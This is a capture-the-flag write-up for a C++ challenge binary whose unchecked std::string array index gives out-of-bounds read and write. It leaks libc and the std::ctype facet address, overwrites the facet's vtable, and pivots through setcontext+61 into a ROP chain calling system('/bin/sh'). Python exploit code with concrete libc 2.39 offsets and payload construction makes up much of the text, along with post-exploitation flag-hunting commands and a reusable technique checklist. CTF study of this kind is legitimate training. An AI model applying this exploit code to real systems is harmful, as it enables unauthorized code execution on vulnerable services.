$ cat writeup.md…
$ cat writeup.md…
fortid2026
Task: C++ store with an unchecked index into a global std::string[8]: get leaks OOB, put writes OOB, FULL RELRO blocks GOT. Solution: leak libc/ctype via get -2, overwrite the std::ctype facet vtable via put -1, redirect do_widen to setcontext+61 and pivot into ROP system("/bin/sh").
Strings, strings everywhere...
Handout handout.zip contains chall, chall.cpp, libc-2.39.so,
libstdc++.so.6.0.33. The remote service is reachable over TLS
(ncat --ssl <host> 1337). Category pwn, 245 points, 20 solves, author ante.
English summary: a tiny C++ REPL lets you store and print std::string notes in a
fixed 8-element global array. Both the store and the print take an integer index
with no bounds check, giving an out-of-bounds read (get) and an
out-of-bounds write (put) on an array of std::string objects. The binary is
PIE + NX + canary + FULL RELRO, so a plain GOT overwrite is off the table. The
goal is a shell on the remote box, then read the flag.
The entire program is 42 lines:
const int CAP = 8; string notes[CAP]; int main() { ... if (command == "put") { int idx; iss >> idx; string val; iss >> val; notes[idx] = val; // OOB write, no bounds check } else if (command == "get") { int idx; iss >> idx; cout << notes[idx] << endl; // OOB read, no bounds check } ... }
idx is a signed int and is used directly as an array subscript. Because
sizeof(std::string) == 32 on x86-64, element idx lives at
notes + idx*32 and arbitrary signed indices reach far outside the array.
Two useful primitives fall out:
get idx → __ostream_insert(cout, *(notes+idx*32), *(notes+idx*32+8)), i.e. it
prints len bytes starting at the attacker-chosen pointer stored in slot idx.put idx val → basic_string::_M_assign(¬es[idx], &val). If slot idx was
seeded with a huge capacity (a legitimate C++ string object with a large
allocation), _M_assign does not reallocate and overwrites the region the
slot points to in place — an arbitrary write of arbitrary length.PIE: enabled NX: enabled Canary: present RELRO: FULL (DF_BIND_NOW)
.got is mapped r-- because the binary is linked -Wl,-z,now. get -34
successfully leaks the PIE base from .rela.dyn, but put -36 (aimed at the GOT
around 0x202ef8) segfaults: the page is read-only. So the intended path is not
GOT, it is a vtable in a writable anonymous/libstdc++ mapping.
0x555555554000)| Symbol | Address | Notes |
|---|---|---|
cout | 0x203020 | .bss |
cin | 0x203140 | .bss |
notes | 0x203260 | 8 × 32 bytes, ends 0x203360 |
.got | 0x202ef8 | RELRO r--, not writable |
std::string layout: [0]=_M_p, [8]=_M_string_length, [16]=union(local_buf|capacity),
SSO capacity 15 when _M_p == object+16.
get -1 → slot at 0x203240 (cin+0x100, the ctype facet pointer). Its
_M_p = 0x...7bfa20, _M_string_length = 0x...7bf9b0 (huge), so it prints ~8192
bytes. This is the first useful region, but the read length is unwieldy.get -2 → slot at 0x203220, _M_p in the locale _Impl anonymous region.
A single get -2 returns an 8192-byte blob holding, at fixed offsets:
buf[0x490:0x498] = libc_base + 0x202de0 — a stable libc leak;buf[8:16] = an anonymous pointer such that buf[8:16] - 0x3c0 is the address
of the process's std::ctype<char> facet object (ctx).get -2 is used (not -1) because the leaked length there is manageable and the
read terminates cleanly.
std::ctype<char> facetEvery iteration of the main loop reloads the ctype facet from the stream
(cin + vbase + 0xf0) into rbp, then does:
cmp byte [rbp+0x38], 0 ; _M_widen_ok je widen_init ; if zero -> call _M_widen_init ... widen_init: call _M_widen_init ; rdi = rbp mov rax, [rbp] ; vptr mov rax, [rax+0x30] ; do_widen slot (vtable slot 6) cmp rax, weak_do_widen jne call_rax ; call rax with rdi=rbp, esi=edx=0xa
The object is at ctx (the leaked facet). put -1 writes our payload straight
onto it, so we fully control:
[ctx+0x00] = vptr → point it at a fake vtable inside our payload;[ctx+0x38] = _M_widen_ok → force 0 so the widen path is taken;+0x30 (do_widen) → our target.We set the do_widen slot to setcontext+61 and let rdi = ctx, so
setcontext interprets the bytes at ctx as a ucontext_t and pivots.
get -2 gives libc_base and the ctype facet address ctx.put -1 <payload> copies the payload onto ctx. No realloc, no
free, because the slot's capacity is huge.do_widen is read from our fake vtable
and called with rdi = ctx. It points at setcontext+61.setcontext loads rip/rsp from the fake ucontext_t we placed in
the payload and lands on a pop rdi; ret → system("/bin/sh") chain.The line is parsed as iss >> val, which stops at any whitespace
(0x20 0x09 0x0a 0x0b 0x0c 0x0d). The payload therefore must contain no
whitespace byte anywhere. The exploit handles this by:
rsp and
the x87 environment pointer, so every embedded pointer value (all relative to
ctx) is also whitespace-free.system = 0x58750
pop rdi; ret = 0x10c08d
"/bin/sh" = 0x1cc42f
setcontext = 0x4a960 (call target: setcontext+61 = 0x4a99d)
leak anchor = libc + 0x202de0
libc-2.39.so md5 0d071be36a77f5c2bde1023f3fa81fa0 matches Ubuntu 24.04
2.39-0ubuntu8.x; libstdc++.so.6.0.33 md5 aa3d659f1d1b590150e308047d888792.
SYSTEM_OFF = 0x58750 POP_RDI_OFF = 0x10c08d BINSH_OFF = 0x1cc42f SETCONTEXT_OFF = 0x4a960 def get_leaks(c): c.read_for(0.6) # initial prompt c.send(b"get -2\n") buf = c.read_until(0x4a0, 4.0) if buf[:2] == b"> ": buf = buf[2:] # strip prompt libc = u64(buf[0x490:0x498]) - 0x202de0 ctx = u64(buf[8:16]) - 0x3c0 # std::ctype<char> facet address c.read_for(1.0) # drain the rest of the 8 KiB blob return libc, ctx
The payload is written to ctx, so payload byte i lives at ctx + i. The
offsets below are chosen by the search so all embedded pointers are
whitespace-free; N = 0x920.
def build_payload(ctx, libc): system = libc + SYSTEM_OFF pop_rdi = libc + POP_RDI_OFF binsh = libc + BINSH_OFF setctx = libc + SETCONTEXT_OFF if has_ws(p64(system)) or has_ws(p64(pop_rdi)) or \ has_ws(p64(binsh)) or has_ws(p64(setctx)): return None # retry on a fresh connection N = 0x920 for off_v in range(0x400, 0x4e0, 8): # fake vtable location for off_rop in range(0x600, 0x700, 8): # ROP chain location for off_env in range(0x800, 0x900, 8): # fake x87 env pointer p = bytearray(N) p[0x00:0x08] = p64(ctx + off_v) # vptr -> fake vtable in payload p[0x38] = 0 # _M_widen_ok = 0 -> widen path p[0xa0:0xa8] = p64(ctx + off_rop) # ucontext.rsp -> ROP chain p[0xa8:0xb0] = p64(pop_rdi) # ucontext.rip -> pop rdi; ret p[0xe0:0xe8] = p64(ctx + off_env) # x87 fpstate pointer p[0x1c0:0x1c4] = struct.pack('<I', 0x1f80) p[off_v+0x30:off_v+0x38] = p64(setctx) # do_widen slot p[off_v+0x38:off_v+0x40] = p64(setctx) p[off_rop:off_rop+8] = p64(binsh) # rdi for system() p[off_rop+8:off_rop+16] = p64(system) if not has_ws(p): return bytes(p) return None
ucontext_t fields used by setcontext+61 (relative to rdi = ctx):
rsp at +0xa0, rip at +0xa8, fpregs pointer at +0xe0. Setting
rip = pop rdi; ret and rsp = &chain gives:
setcontext -> jmp [ctx+0xa8] = pop rdi; ret
pop rdi = "/bin/sh"
ret -> system
system("/bin/sh")
c.read_for(0.5) # consume prompt c.send(b"put -1 " + payload + b"\n") # in-place write onto the ctype facet time.sleep(0.7) pre = c.read_for(0.6) # next iteration -> setcontext -> shell c.send(POST) # id; cat flag*; find / ... out = c.read_for(2.5)
Any attempt whose libc-derived addresses contain a whitespace byte is abandoned
and retried on a fresh TLS connection (the PoC loops up to tries times).
The service is TLS-only. The final PoC uses Python's ssl module directly
instead of ncat:
raw = socket.create_connection((host, port), timeout=15) s = ssl.create_default_context() s.check_hostname = False s.verify_mode = ssl.CERT_NONE sock = s.wrap_socket(raw, server_hostname=host)
The full parameterized exploit is exploit4.py in the task directory
(python3 exploit4.py remote <host> <port> / python3 exploit4.py local).
docker run -it --name spp ubuntu:24.04 bash # inside: apt-get install -y libstdc++6; work with the extracted handout docker exec -i spp /work/chall # used by exploit4.py local
Verify a root shell and a dummy flag file before hitting remote. A local run
gave libc=0x7f...6f000 ctx=0x7f...fda20 and a shell with uid=10001.
After the pivot the shell runs the flag hunt (cat flag*, find / -iname 'flag*')
and returns the flag in FortID{REDACTED} format. The remote solve succeeded on
the first clean attempt, confirming the leak offsets and the whitespace-free
payload search.
Use this technique when:
std::string (or any 32-byte C++ object): notes[idx] = val / cout << notes[idx].DF_BIND_NOW, .got r--) is present, so GOT hijacking is out and
the writable target must be a vtable/function pointer in .bss or an anonymous
mapping.ctype locale facet is reachable (e.g. cin+0xf0), and its
_M_widen_ok byte at +0x38 gates a call through vtable slot +0x30
(do_widen) — a perfect indirect-call primitive triggered automatically each
loop iteration.operator>>, forcing the payload to be entirely
whitespace-free; scan internal offsets for clean pointer encodings and retry
when ASLR puts a whitespace byte inside a libc address.setcontext+61 (libc+0x4a99d on 2.39) with rdi pointing at controlled bytes
gives a one-gadget-free stack pivot into a classic pop rdi; ret ->
system("/bin/sh") chain.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar